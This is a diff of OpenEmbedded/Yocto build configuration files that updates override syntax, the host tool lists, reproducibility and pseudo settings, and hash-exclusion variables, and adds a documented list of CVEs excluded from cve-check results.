-CACHE = "${TMPDIR}/cache${@['', '/' + str(d.getVar('MACHINE'))][bool(d.getVar('MACHINE'))]}${@['', '/' + str(d.getVar('SDKMACHINE'))][bool(d.getVar('SDKMACHINE'))]}"
+
+CACHE = "${TMPDIR}/cache/${TCMODE}-${TCLIBC}${@['', '/' + str(d.getVar('MACHINE'))][bool(d.getVar('MACHINE'))]}${@['', '/' + str(d.getVar('SDKMACHINE'))][bool(d.getVar('SDKMACHINE'))]}"
# The persistent cache should be shared by all builds
PERSISTENT_DIR = "${TOPDIR}/cache"
LOG_DIR = "${TMPDIR}/log"
@@ -412,6 +446,7 @@ DEPLOY_DIR_IMAGE ?= "${DEPLOY_DIR}/images/${MACHINE}"
DEPLOY_DIR_TOOLS = "${DEPLOY_DIR}/tools"
PKGDATA_DIR = "${TMPDIR}/pkgdata/${MACHINE}"
+PKGDATA_DIR_SDK = "${TMPDIR}/pkgdata/${SDK_SYS}"
##################################################################
# SDK variables.
@@ -419,18 +454,21 @@ PKGDATA_DIR = "${TMPDIR}/pkgdata/${MACHINE}"
SDK_NAME_PREFIX ?= "oecore"
SDK_NAME = "${SDK_NAME_PREFIX}-${SDK_ARCH}-${TUNE_PKGARCH}"
-SDKPATH = "/usr/local/${SDK_NAME_PREFIX}-${SDK_ARCH}"
+SDKPATH = "/usr/local/oe-sdk-hardcoded-buildpath"
SDKPATHNATIVE = "${SDKPATH}/sysroots/${SDK_SYS}"
+# The path to default to installing the SDK to
+SDKPATHINSTALL = "/usr/local/${SDK_NAME_PREFIX}-${SDK_ARCH}"
##################################################################
# Kernel info.
##################################################################
OLDEST_KERNEL = "3.2.0"
-OLDEST_KERNEL_aarch64 = "3.14"
-OLDEST_KERNEL_nios2 = "3.19"
-OLDEST_KERNEL_riscv32 = "4.15"
-OLDEST_KERNEL_riscv64 = "4.15"
+OLDEST_KERNEL:aarch64 = "3.14"
+OLDEST_KERNEL:nios2 = "3.19"
+OLDEST_KERNEL:powerpc64le = "3.10.0"
+OLDEST_KERNEL:riscv32 = "5.4"
+OLDEST_KERNEL:riscv64 = "4.15"
# SDK_OLDEST_KERNEL can't be set using overrides since there are
# none for the SDK architecture. Best to set it from a machine-sdk
@@ -449,11 +487,6 @@ STAGING_KERNEL_BUILDDIR = "${TMPDIR}/work-shared/${MACHINE}/kernel-build-artifac
##################################################################
IMAGE_ROOTFS = "${WORKDIR}/rootfs"
-IMAGE_BASENAME = "${PN}"
-IMAGE_VERSION_SUFFIX = "-${DATETIME}"
-IMAGE_VERSION_SUFFIX[vardepsexclude] += "DATETIME"
-IMAGE_NAME = "${IMAGE_BASENAME}-${MACHINE}${IMAGE_VERSION_SUFFIX}"
-IMAGE_LINK_NAME = "${IMAGE_BASENAME}-${MACHINE}"
# This option allows for a percentage overage of the actual image size rather than a
# fixed extra space, this is space needed for initial startup and basic operations.
@@ -470,34 +503,34 @@ EXTRA_IMAGEDEPENDS = ""
# Toolchain info.
##################################################################
-PATH_prepend = "${COREBASE}/scripts:${STAGING_BINDIR_TOOLCHAIN}:${STAGING_BINDIR_CROSS}:${STAGING_DIR_NATIVE}${sbindir_native}:${STAGING_BINDIR_NATIVE}:${STAGING_DIR_NATIVE}${base_sbindir_native}:${STAGING_DIR_NATIVE}${base_bindir_native}:"
+PATH:prepend = "${COREBASE}/scripts:${STAGING_BINDIR_TOOLCHAIN}:${STAGING_BINDIR_CROSS}:${STAGING_DIR_NATIVE}${sbindir_native}:${STAGING_BINDIR_NATIVE}:${STAGING_DIR_NATIVE}${base_sbindir_native}:${STAGING_DIR_NATIVE}${base_bindir_native}:"
export PATH
##################################################################
# Build utility info.
##################################################################
-# Directory where host tools are copied
+# Directory with symlinks to host tools used by build
HOSTTOOLS_DIR = "${TMPDIR}/hosttools"
# Tools needed to run builds with OE-Core
-# python is special cased to point at python2
HOSTTOOLS += " \
[ ar as awk basename bash bzip2 cat chgrp chmod chown chrpath cmp comm cp cpio \
cpp cut date dd diff diffstat dirname du echo egrep env expand expr false \
fgrep file find flock g++ gawk gcc getconf getopt git grep gunzip gzip \
- head hostname iconv id install ld ldd ln ls make makeinfo md5sum mkdir mknod \
- mktemp mv nm objcopy objdump od patch perl pod2man pr printf pwd python2 \
- python2.7 python3 ranlib readelf readlink realpath rm rmdir rpcgen sed seq sh sha256sum \
+ head hostname iconv id install ld ldd ln ls lz4c make md5sum mkdir mkfifo mknod \
+ mktemp mv nm objcopy objdump od patch perl pr printf pwd \
+ python3 pzstd ranlib readelf readlink realpath rm rmdir rpcgen sed seq sh \
+ sha1sum sha224sum sha256sum sha384sum sha512sum \
sleep sort split stat strings strip tail tar tee test touch tr true uname \
- uniq wc wget which xargs \
+ uniq wc wget which xargs zstd \
"
# Tools needed to run testimage runtime image testing
HOSTTOOLS += "${@'ip ping ps scp ssh stty' if (bb.utils.contains_any('IMAGE_CLASSES', 'testimage testsdk', True, False, d) or any(x in (d.getVar("BBINCLUDED") or "") for x in ["testimage.bbclass", "testsdk.bbclass"])) else ''}"
# Link to these if present
-HOSTTOOLS_NONFATAL += "aws gcc-ar gpg ld.bfd ld.gold nc pigz sftp socat ssh sudo"
+HOSTTOOLS_NONFATAL += "aws gcc-ar gpg gpg-agent ld.bfd ld.gold nc pigz sftp socat ssh sudo"
# Temporary add few more detected in bitbake world
HOSTTOOLS_NONFATAL += "join nl size yes zcat"
@@ -528,7 +561,7 @@ export STRIP = "${HOST_PREFIX}strip"
export OBJCOPY = "${HOST_PREFIX}objcopy"
export OBJDUMP = "${HOST_PREFIX}objdump"
export STRINGS = "${HOST_PREFIX}strings"
-export NM = "${HOST_PREFIX}nm"
+export NM = "${HOST_PREFIX}gcc-nm"
export READELF = "${HOST_PREFIX}readelf"
PYTHON = "${@sys.executable}"
@@ -540,9 +573,12 @@ export BUILD_LD = "${BUILD_PREFIX}ld ${BUILD_LD_ARCH}"
export BUILD_CCLD = "${BUILD_PREFIX}gcc ${BUILD_CC_ARCH}"
export BUILD_AR = "${BUILD_PREFIX}ar"
export BUILD_AS = "${BUILD_PREFIX}as ${BUILD_AS_ARCH}"
-export BUILD_RANLIB = "${BUILD_PREFIX}ranlib"
+export BUILD_RANLIB = "${BUILD_PREFIX}ranlib -D"
export BUILD_STRIP = "${BUILD_PREFIX}strip"
+BUILD_OBJCOPY = "${BUILD_PREFIX}objcopy"
+BUILD_OBJDUMP = "${BUILD_PREFIX}objdump"
export BUILD_NM = "${BUILD_PREFIX}nm"
+BUILD_READELF = "${BUILD_PREFIX}readelf"
export MAKE = "make"
EXTRA_OEMAKE = ""
@@ -587,21 +623,22 @@ export BUILD_LDFLAGS = "-L${STAGING_LIBDIR_NATIVE} \
BUILDSDK_LDFLAGS = "-Wl,-O1"
LINKER_HASH_STYLE ??= "gnu"
-# mips does not support GNU hash style therefore we override
-LINKER_HASH_STYLE_mipsarch = "sysv"
TARGET_LINK_HASH_STYLE ?= "${@['-Wl,--hash-style=gnu',''][d.getVar('LINKER_HASH_STYLE') != 'gnu']}"
ASNEEDED ?= "-Wl,--as-needed"
export LDFLAGS = "${TARGET_LDFLAGS}"
-TARGET_LDFLAGS = "-Wl,-O1 ${TARGET_LINK_HASH_STYLE} ${ASNEEDED}"
+TARGET_LDFLAGS = "-Wl,-O1 ${TARGET_LINK_HASH_STYLE} ${ASNEEDED} ${DEBUG_PREFIX_MAP}"
+# mips does not support GNU hash style therefore we override
+LINKER_HASH_STYLE:mipsarch:libc-musl = "sysv"
# Pass parallel make options to the compile task
-EXTRA_OEMAKE_prepend_task-compile = "${PARALLEL_MAKE} "
+EXTRA_OEMAKE:prepend:task-compile = "${PARALLEL_MAKE} "
PARALLEL_MAKEINST ??= "${PARALLEL_MAKE}"
+PARALLEL_MAKEINST[vardepvalue] = "1"
# Pass parallel make options to the install task
-EXTRA_OEMAKE_prepend_task-install = "${PARALLEL_MAKEINST} "
+EXTRA_OEMAKE:prepend:task-install = "${PARALLEL_MAKEINST} "
##################################################################
# Optimization flags.
@@ -623,6 +660,21 @@ BUILD_OPTIMIZATION = "${@oe.utils.vartrue('DEBUG_BUILD', '-Og -g -feliminate-unu
BUILD_OPTIMIZATION[vardeps] += "DEBUG_BUILD"
##################################################################
+# Reproducibility
+##################################################################
+
+SDE_DIR = "${WORKDIR}/source-date-epoch"
+SDE_FILE = "${SDE_DIR}/__source_date_epoch.txt"
+SDE_DEPLOYDIR = "${WORKDIR}/deploy-source-date-epoch"
+
+export PYTHONHASHSEED = "0"
+export PERL_HASH_SEED = "0"
+export SOURCE_DATE_EPOCH ?= "${@get_source_date_epoch_value(d)}"
+# A SOURCE_DATE_EPOCH of '0' might be misinterpreted as no SDE
+export SOURCE_DATE_EPOCH_FALLBACK ??= "1302044400"
+REPRODUCIBLE_TIMESTAMP_ROOTFS ??= "1520598896"
+
+##################################################################
# Settings used by bitbake-layers.
##################################################################
BBLAYERS_LAYERINDEX_URL ??= "https://layers.openembedded.org/layerindex/"
@@ -633,20 +685,21 @@ BBLAYERS_FETCH_DIR ??= "${COREBASE}"
##################################################################
APACHE_MIRROR = "https://archive.apache.org/dist"
+CPAN_MIRROR = "https://search.cpan.org/CPAN"
DEBIAN_MIRROR = "http://ftp.debian.org/debian/pool"
GENTOO_MIRROR = "http://distfiles.gentoo.org/distfiles"
GNOME_GIT = "git://gitlab.gnome.org/GNOME"
-GNOME_MIRROR = "https://ftp.gnome.org/pub/GNOME/sources"
+GNOME_MIRROR = "https://download.gnome.org/sources/"
GNU_MIRROR = "https://ftp.gnu.org/gnu"
GNUPG_MIRROR = "https://www.gnupg.org/ftp/gcrypt"
GPE_MIRROR = "http://gpe.linuxtogo.org/download/source"
KERNELORG_MIRROR = "https://cdn.kernel.org/pub"
+SAMBA_MIRROR = "http://samba.org/samba/ftp"
+SAVANNAH_GNU_MIRROR = "https://download.savannah.gnu.org/releases"
+SAVANNAH_NONGNU_MIRROR = "https://download.savannah.nongnu.org/releases"
SOURCEFORGE_MIRROR = "https://downloads.sourceforge.net"
XLIBS_MIRROR = "https://xlibs.freedesktop.org/release"
XORG_MIRROR = "https://www.x.org/releases/"
-SAVANNAH_GNU_MIRROR = "https://download.savannah.gnu.org/releases"
-SAVANNAH_NONGNU_MIRROR = "https://download.savannah.nongnu.org/releases"
-CPAN_MIRROR = "https://search.cpan.org/CPAN"
SRC_URI[vardepsexclude] += "\
APACHE_MIRROR \
@@ -659,6 +712,7 @@ SRC_URI[vardepsexclude] += "\
GNUPG_MIRROR \
GPE_MIRROR \
KERNELORG_MIRROR \
+ SAMBA_MIRROR \
SAVANNAH_GNU_MIRROR \
SAVANNAH_NONGNU_MIRROR \
SOURCEFORGE_MIRROR \
@@ -684,15 +738,21 @@ SRC_URI = ""
PSEUDO_LOCALSTATEDIR ?= "${WORKDIR}/pseudo/"
PSEUDO_PASSWD ?= "${STAGING_DIR_TARGET}:${PSEUDO_SYSROOT}"
PSEUDO_SYSROOT = "${COMPONENTS_DIR}/${BUILD_ARCH}/pseudo-native"
+PSEUDO_IGNORE_PATHS = "/usr/,/etc/,/lib,/dev/,/run/,${T},${WORKDIR}/recipe-sysroot,${SSTATE_DIR},${STAMPS_DIR}"
+PSEUDO_IGNORE_PATHS .= ",${TMPDIR}/sstate-control,${TMPDIR}/buildstats,${TMPDIR}/sysroots-components,${TMPDIR}/pkgdata"
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/deploy-,${WORKDIR}/sstate-build-package_,${WORKDIR}/sstate-install-package_,${WORKDIR}/pkgdata-sysroot"
+PSEUDO_IGNORE_PATHS .= ",${DEPLOY_DIR},${BUILDHISTORY_DIR},${TOPDIR}/cache,${COREBASE}/scripts,${CCACHE_DIR}"
+
export PSEUDO_DISABLED = "1"
#export PSEUDO_PREFIX = "${STAGING_DIR_NATIVE}${prefix_native}"
#export PSEUDO_BINDIR = "${STAGING_DIR_NATIVE}${bindir_native}"
#export PSEUDO_LIBDIR = "${STAGING_DIR_NATIVE}$PSEUDOBINDIR/../lib/pseudo/lib
-FAKEROOTBASEENV = "PSEUDO_BINDIR=${PSEUDO_SYSROOT}${bindir_native} PSEUDO_LIBDIR=${PSEUDO_SYSROOT}${prefix_native}/lib/pseudo/lib PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_DISABLED=1"
+FAKEROOTBASEENV = "PSEUDO_BINDIR=${PSEUDO_SYSROOT}${bindir_native} PSEUDO_LIBDIR=${PSEUDO_SYSROOT}${prefix_native}/lib/pseudo/lib PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_IGNORE_PATHS=${@oe.path.canonicalize(d.getVar('PSEUDO_IGNORE_PATHS'))} PSEUDO_DISABLED=1 PYTHONDONTWRITEBYTECODE=1"
FAKEROOTCMD = "${PSEUDO_SYSROOT}${bindir_native}/pseudo"
-FAKEROOTENV = "PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_LOCALSTATEDIR=${PSEUDO_LOCALSTATEDIR} PSEUDO_PASSWD=${PSEUDO_PASSWD} PSEUDO_NOSYMLINKEXP=1 PSEUDO_DISABLED=0"
+FAKEROOTENV = "PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_LOCALSTATEDIR=${PSEUDO_LOCALSTATEDIR} PSEUDO_PASSWD=${PSEUDO_PASSWD} PSEUDO_NOSYMLINKEXP=1 PSEUDO_IGNORE_PATHS=${@oe.path.canonicalize(d.getVar('PSEUDO_IGNORE_PATHS'))} PSEUDO_DISABLED=0"
FAKEROOTNOENV = "PSEUDO_UNLOAD=1"
FAKEROOTDIRS = "${PSEUDO_LOCALSTATEDIR}"
+FAKEROOTLOGS = "${WORKDIR}/pseudo/pseudo.log"
PREFERRED_PROVIDER_virtual/fakeroot-native ?= "pseudo-native"
##################################################################
@@ -700,7 +760,7 @@ PREFERRED_PROVIDER_virtual/fakeroot-native ?= "pseudo-native"
##################################################################
# Pre-build configuration output
-BUILDCFG_HEADER = "Build Configuration:"
+BUILDCFG_HEADER = "Build Configuration${@" (mc:${BB_CURRENT_MC})" if d.getVar("BBMULTICONFIG") else ""}:"
BUILDCFG_VARS = "BB_VERSION BUILD_SYS NATIVELSBSTRING TARGET_SYS MACHINE DISTRO DISTRO_VERSION TUNE_FEATURES TARGET_FPU"
BUILDCFG_VARS[type] = "list"
BUILDCFG_NEEDEDVARS = "TARGET_ARCH TARGET_OS"
@@ -716,6 +776,10 @@ export PKG_CONFIG_DISABLE_UNINSTALLED = "yes"
export PKG_CONFIG_SYSTEM_LIBRARY_PATH = "${base_libdir}:${libdir}"
export PKG_CONFIG_SYSTEM_INCLUDE_PATH = "${includedir}"
+# Don't allow git to chdir up past WORKDIR so that it doesn't detect the OE
+# repository when building a recipe
+export GIT_CEILING_DIRECTORIES = "${WORKDIR}"
+
###
### Config file processing
###
@@ -727,11 +791,11 @@ DISTRO_NAME ??= "OpenEmbedded"
# Overrides are processed left to right, so the ones that are named later take precedence.
# You generally want them to go from least to most specific. This means that:
-# A variable '<foo>_arm' overrides a variable '<foo>' when ${TARGET_ARCH} is arm.
-# A variable '<foo>_qemuarm' overrides '<foo>' and overrides '<foo>_arm' when ${MACHINE} is 'qemuarm'.
-# If you use combination ie '<foo>_qemuarm_arm', then '<foo>_qemuarm_arm' will override
-# '<foo>_qemuarm' and then '<foo>' will be overriden with that value from '<foo>_qemuarm'.
-# And finally '<foo>_forcevariable' overrides any standard variable, with the highest priority.
+# A variable '<foo>:arm' overrides a variable '<foo>' when ${TARGET_ARCH} is arm.
+# A variable '<foo>:qemuarm' overrides '<foo>' and overrides '<foo>:arm' when ${MACHINE} is 'qemuarm'.
+# If you use combination ie '<foo>:qemuarm:arm', then '<foo>:qemuarm:arm' will override
+# '<foo>:qemuarm' and then '<foo>' will be overriden with that value from '<foo>:qemuarm'.
+# And finally '<foo>:forcevariable' overrides any standard variable, with the highest priority.
# This works for functions as well, they are really just variables.
#
OVERRIDES = "${TARGET_OS}:${TRANSLATED_TARGET_ARCH}:pn-${PN}:${MACHINEOVERRIDES}:${DISTROOVERRIDES}:${CLASSOVERRIDE}${LIBCOVERRIDE}:forcevariable"
@@ -793,7 +857,19 @@ BB_NUMBER_THREADS ?= "${@oe.utils.cpu_count()}"
PARALLEL_MAKE ?= "-j ${@oe.utils.cpu_count()}"
# Default parallelism and resource usage for xz
-XZ_DEFAULTS ?= "--memlimit=50% --threads=${@oe.utils.cpu_count()}"
+XZ_MEMLIMIT ?= "50%"
+XZ_THREADS ?= "${@oe.utils.cpu_count(at_least=2)}"
+XZ_THREADS[vardepvalue] = "1"
+XZ_DEFAULTS ?= "--memlimit=${XZ_MEMLIMIT} --threads=${XZ_THREADS}"
+XZ_DEFAULTS[vardepsexclude] += "XZ_MEMLIMIT XZ_THREADS"
+
+# Default parallelism for zstd
+ZSTD_THREADS ?= "${@oe.utils.cpu_count(at_least=2)}"
+ZSTD_THREADS[vardepvalue] = "1"
+
+# Limit the number of threads that OpenMP libraries will use. Otherwise they
+# may fallback to using all CPUs
+export OMP_NUM_THREADS = "${BB_NUMBER_THREADS}"
##################################################################
# Magic Cookie for SANITY CHECK
@@ -824,8 +900,8 @@ DISTRO_FEATURES_NATIVESDK ?= "x11"
# Normally target distro features will not be applied to native builds:
# Native distro features on this list will use the target feature value
-DISTRO_FEATURES_FILTER_NATIVE ?= "api-documentation"
-DISTRO_FEATURES_FILTER_NATIVESDK ?= "api-documentation"
+DISTRO_FEATURES_FILTER_NATIVE ?= "api-documentation debuginfod opengl wayland"
+DISTRO_FEATURES_FILTER_NATIVESDK ?= "api-documentation debuginfod opengl wayland"
DISTRO_FEATURES_BACKFILL = "pulseaudio sysvinit gobject-introspection-data ldconfig"
MACHINE_FEATURES_BACKFILL = "rtc qemu-usermode"
@@ -860,22 +936,28 @@ SHELL[unexport] = "1"
# Used by canadian-cross to handle string conversions on TARGET_ARCH where needed
TRANSLATED_TARGET_ARCH ??= "${@d.getVar('TARGET_ARCH').replace("_", "-")}"
+# Set a default umask to use for tasks for determinism
+BB_DEFAULT_UMASK = "022"
+
# Complete output from bitbake
BB_CONSOLELOG ?= "${LOG_DIR}/cooker/${MACHINE}/${DATETIME}.log"
# Setup our default hash policy
BB_SIGNATURE_HANDLER ?= "OEBasicHash"
-BB_HASHBASE_WHITELIST ?= "TMPDIR FILE PATH PWD BB_TASKHASH BBPATH BBSERVER DL_DIR \
- SSTATE_DIR THISDIR FILESEXTRAPATHS FILE_DIRNAME HOME LOGNAME SHELL TERM \
+BB_HASHEXCLUDE_COMMON ?= "TMPDIR FILE PATH PWD BB_TASKHASH BBPATH BBSERVER DL_DIR \
+ THISDIR FILESEXTRAPATHS FILE_DIRNAME HOME LOGNAME SHELL \
USER FILESPATH STAGING_DIR_HOST STAGING_DIR_TARGET COREBASE PRSERV_HOST \
STAMPS_DIR PRSERV_DUMPDIR PRSERV_DUMPFILE PRSERV_LOCKDOWN PARALLEL_MAKE \
CCACHE_DIR EXTERNAL_TOOLCHAIN CCACHE CCACHE_NOHASHDIR LICENSE_PATH SDKPKGSUFFIX \
WARN_QA ERROR_QA WORKDIR STAMPCLEAN PKGDATA_DIR BUILD_ARCH SSTATE_PKGARCH \
BB_WORKERCONTEXT BB_LIMITEDDEPS BB_UNIHASH extend_recipe_sysroot DEPLOY_DIR \
SSTATE_HASHEQUIV_METHOD SSTATE_HASHEQUIV_REPORT_TASKDATA \
- SSTATE_HASHEQUIV_OWNER CCACHE_TOP_DIR BB_HASHSERVE"
-BB_HASHCONFIG_WHITELIST ?= "${BB_HASHBASE_WHITELIST} DATE TIME SSH_AGENT_PID \
- SSH_AUTH_SOCK PSEUDO_BUILD BB_ENV_EXTRAWHITE DISABLE_SANITY_CHECKS \
+ SSTATE_HASHEQUIV_OWNER CCACHE_TOP_DIR BB_HASHSERVE GIT_CEILING_DIRECTORIES \
+ OMP_NUM_THREADS BB_CURRENTTASK"
+BB_BASEHASH_IGNORE_VARS ?= "${BB_HASHEXCLUDE_COMMON} PSEUDO_IGNORE_PATHS BUILDHISTORY_DIR \
+ SSTATE_DIR SOURCE_DATE_EPOCH"
+BB_HASHCONFIG_IGNORE_VARS ?= "${BB_HASHEXCLUDE_COMMON} DATE TIME SSH_AGENT_PID \
+ SSH_AUTH_SOCK PSEUDO_BUILD BB_ENV_PASSTHROUGH_ADDITIONS DISABLE_SANITY_CHECKS \
PARALLEL_MAKE BB_NUMBER_THREADS BB_ORIGENV BB_INVALIDCONF BBINCLUDED \
GIT_PROXY_COMMAND ALL_PROXY all_proxy NO_PROXY no_proxy FTP_PROXY ftp_proxy \
HTTP_PROXY http_proxy HTTPS_PROXY https_proxy SOCKS5_USER SOCKS5_PASSWD \
@@ -885,7 +967,7 @@ BB_SIGNATURE_EXCLUDE_FLAGS ?= "doc deps depends \
file-checksums python func task export unexport noexec nostamp dirs cleandirs \
sstate-lockfile-shared prefuncs postfuncs export_func deptask rdeptask \
recrdeptask nodeprrecs stamp-extra-info sstate-outputdirs filename lineno \
- progress mcdepends"
+ progress mcdepends number_threads"
MLPREFIX ??= ""
MULTILIB_VARIANTS ??= ""
diff --git a/meta/conf/conf-notes.txt b/meta/conf/conf-notes.txt
index 5af13a8357..cfd1f1977b 100644
--- a/meta/conf/conf-notes.txt
+++ b/meta/conf/conf-notes.txt
@@ -5,11 +5,13 @@ You can now run 'bitbake <target>'
Common targets are:
core-image-minimal
+ core-image-full-cmdline
core-image-sato
+ core-image-weston
meta-toolchain
meta-ide-support
-You can also run generated qemu images with a command like 'runqemu qemux86'.
+You can also run generated qemu images with a command like 'runqemu qemux86-64'.
Other commonly useful commands are:
- 'devtool' and 'recipetool' handle common recipe tasks
diff --git a/meta/conf/distro/defaultsetup.conf b/meta/conf/distro/defaultsetup.conf
index 66fd246526..f6894f3ab5 100644
--- a/meta/conf/distro/defaultsetup.conf
+++ b/meta/conf/distro/defaultsetup.conf
@@ -3,10 +3,7 @@ include conf/distro/include/default-versions.inc
include conf/distro/include/default-distrovars.inc
include conf/distro/include/maintainers.inc
-TCMODE ?= "default"
require conf/distro/include/tcmode-${TCMODE}.inc
-
-TCLIBC ?= "glibc"
require conf/distro/include/tclibc-${TCLIBC}.inc
require conf/distro/include/uninative-flags.inc
@@ -15,13 +12,10 @@ require conf/distro/include/uninative-flags.inc
TCLIBCAPPEND ?= "-${TCLIBC}"
TMPDIR .= "${TCLIBCAPPEND}"
-CACHE = "${TMPDIR}/cache/${TCMODE}-${TCLIBC}${@['', '/' + str(d.getVar('MACHINE'))][bool(d.getVar('MACHINE'))]}${@['', '/' + str(d.getVar('SDKMACHINE'))][bool(d.getVar('SDKMACHINE'))]}"
-
USER_CLASSES ?= ""
PACKAGE_CLASSES ?= "package_ipk"
-INHERIT_BLACKLIST = "blacklist"
INHERIT_DISTRO ?= "debian devshell sstate license remove-libtool"
-INHERIT += "${PACKAGE_CLASSES} ${USER_CLASSES} ${INHERIT_DISTRO} ${INHERIT_BLACKLIST}"
+INHERIT += "${PACKAGE_CLASSES} ${USER_CLASSES} ${INHERIT_DISTRO}"
INIT_MANAGER ??= "none"
require conf/distro/include/init-manager-${INIT_MANAGER}.inc
diff --git a/meta/conf/distro/include/cve-extra-exclusions.inc b/meta/conf/distro/include/cve-extra-exclusions.inc
new file mode 100644
index 0000000000..6c19cd293d
--- /dev/null
+++ b/meta/conf/distro/include/cve-extra-exclusions.inc
@@ -0,0 +1,76 @@
+# This file contains a list of CVE's where resolution has proven to be impractical
+# or there is no reasonable action the Yocto Project can take to resolve the issue.
+# It contains all the information we are aware of about an issue and analysis about
+# why we believe it can't be fixed/handled. Additional information is welcome through
+# patches to the file.
+#
+# Include this file in your local.conf or distro.conf to exclude these CVE's
+# from the cve-check results or add to the bitbake command with:
+# -R conf/distro/include/cve-extra-exclusions.inc
+#
+# The file is not included by default since users should review this data to ensure
+# it matches their expectations and usage of the project.
+#
+# We may also include "in-flight" information about current/ongoing CVE work with
+# the aim of sharing that work and ensuring we don't duplicate it.
+#
+
+
+# strace https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0006
+# CVE is more than 20 years old with no resolution evident
+# broken links in CVE database references make resolution impractical
+CVE_CHECK_IGNORE += "CVE-2000-0006"
+
+# epiphany https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0238
+# The issue here is spoofing of domain names using characters from other character sets.
+# There has been much discussion amongst the epiphany and webkit developers and
+# whilst there are improvements about how domains are handled and displayed to the user
+# there is unlikely ever to be a single fix to webkit or epiphany which addresses this
+# problem. Ignore this CVE as there isn't any mitigation or fix or way to progress this further
+# we can seem to take.
+CVE_CHECK_IGNORE += "CVE-2005-0238"
+
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4756
+# Issue is memory exhaustion via glob() calls, e.g. from within an ftp server
+# Best discussion in https://bugzilla.redhat.com/show_bug.cgi?id=681681
+# Upstream don't see it as a security issue, ftp servers shouldn't be passing
+# this to libc glob. Exclude as upstream have no plans to add BSD's GLOB_LIMIT or similar
+CVE_CHECK_IGNORE += "CVE-2010-4756"
+
+# go https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-29509
+# go https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-29511
+# The encoding/xml package in go can potentially be used for security exploits if not used correctly
+# CVE applies to a netapp product as well as flagging a general issue. We don't ship anything
+# exposing this interface in an exploitable way
+CVE_CHECK_IGNORE += "CVE-2020-29509 CVE-2020-29511"
+
+# db
+# Since Oracle relicensed bdb, the open source community is slowly but surely replacing bdb with
+# supported and open source friendly alternatives. As a result these CVEs are unlikely to ever be fixed.
+CVE_CHECK_IGNORE += "CVE-2015-2583 CVE-2015-2624 CVE-2015-2626 CVE-2015-2640 CVE-2015-2654 \
+CVE-2015-2656 CVE-2015-4754 CVE-2015-4764 CVE-2015-4774 CVE-2015-4775 CVE-2015-4776 CVE-2015-4777 \
+CVE-2015-4778 CVE-2015-4779 CVE-2015-4780 CVE-2015-4781 CVE-2015-4782 CVE-2015-4783 CVE-2015-4784 \
+CVE-2015-4785 CVE-2015-4786 CVE-2015-4787 CVE-2015-4788 CVE-2015-4789 CVE-2015-4790 CVE-2016-0682 \
+CVE-2016-0689 CVE-2016-0692 CVE-2016-0694 CVE-2016-3418 CVE-2020-2981"
+
+#### CPE update pending ####
+
+# groff:groff-native https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0803
+# Appears it was fixed in https://git.savannah.gnu.org/cgit/groff.git/commit/?id=07f95f1674217275ed4612f1dcaa95a88435c6a7
+# so from 1.17 onwards. Reported to the database for update by RP 2021/5/9. Update accepted 2021/5/10.
+#CVE_CHECK_IGNORE += "CVE-2000-0803"
+
+
+
+#### Upstream still working on ####
+
+# qemu:qemu-native:qemu-system-native https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-20255
+# There was a proposed patch https://lists.gnu.org/archive/html/qemu-devel/2021-02/msg06098.html
+# however qemu maintainers are sure the patch is incorrect and should not be applied.
+
+# wget https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-31879
+# https://mail.gnu.org/archive/html/bug-wget/2021-02/msg00002.html
+# No response upstream as of 2021/5/12
+
+
+
diff --git a/meta/conf/distro/include/default-distrovars.inc b/meta/conf/distro/include/default-distrovars.inc
index 10d86cf7b1..3edba1b6d0 100644
--- a/meta/conf/distro/include/default-distrovars.inc
+++ b/meta/conf/distro/include/default-distrovars.inc
@@ -8,14 +8,18 @@ IMAGE_LINGUAS ?= "en-us en-gb"
ENABLE_BINARY_LOCALE_GENERATION ?= "1"
LOCALE_UTF8_ONLY ?= "0"
LOCALE_UTF8_IS_DEFAULT ?= "1"
-LOCALE_UTF8_IS_DEFAULT_class-nativesdk = "0"
+LOCALE_UTF8_IS_DEFAULT:class-nativesdk = "0"
-DISTRO_FEATURES_DEFAULT ?= "acl alsa argp bluetooth ext2 ipv4 ipv6 largefile pcmcia usbgadget usbhost wifi xattr nfs zeroconf pci 3g nfc x11"
+# seccomp is not yet ported to rv32
+DISTRO_FEATURES_DEFAULT:remove:riscv32 = "seccomp"
+
+# seccomp is not yet ported to ARC
+DISTRO_FEATURES_DEFAULT:remove:arc = "seccomp"
+
+DISTRO_FEATURES_DEFAULT ?= "acl alsa argp bluetooth debuginfod ext2 ipv4 ipv6 largefile pcmcia usbgadget usbhost wifi xattr nfs zeroconf pci 3g nfc x11 vfat seccomp"
DISTRO_FEATURES ?= "${DISTRO_FEATURES_DEFAULT}"
IMAGE_FEATURES ?= ""
-WHITELIST_GPL-3.0 ?= ""
-
COMMERCIAL_AUDIO_PLUGINS ?= ""
# COMMERCIAL_AUDIO_PLUGINS ?= "gst-plugins-ugly-mad gst-plugins-ugly-mpegaudioparse"
COMMERCIAL_VIDEO_PLUGINS ?= ""
@@ -39,13 +43,13 @@ GTK2DISTROFEATURES = "directfb x11"
GTK3DISTROFEATURES = "x11 wayland"
ARCH_DEFAULT_KERNELIMAGETYPE = "zImage"
-ARCH_DEFAULT_KERNELIMAGETYPE_x86 = "bzImage"
-ARCH_DEFAULT_KERNELIMAGETYPE_x86-64 = "bzImage"
+ARCH_DEFAULT_KERNELIMAGETYPE:x86 = "bzImage"
+ARCH_DEFAULT_KERNELIMAGETYPE:x86-64 = "bzImage"
KERNEL_IMAGETYPE ??= "${ARCH_DEFAULT_KERNELIMAGETYPE}"
KERNEL_IMAGETYPES ??= "${KERNEL_IMAGETYPE}"
# The CONNECTIVITY_CHECK_URIS are used to test whether we can succesfully
# fetch from the network (and warn you if not). To disable the test set
# the variable to be empty.
-# Git example url: git://git.yoctoproject.org/yocto-firewall-test;protocol=git;rev=master
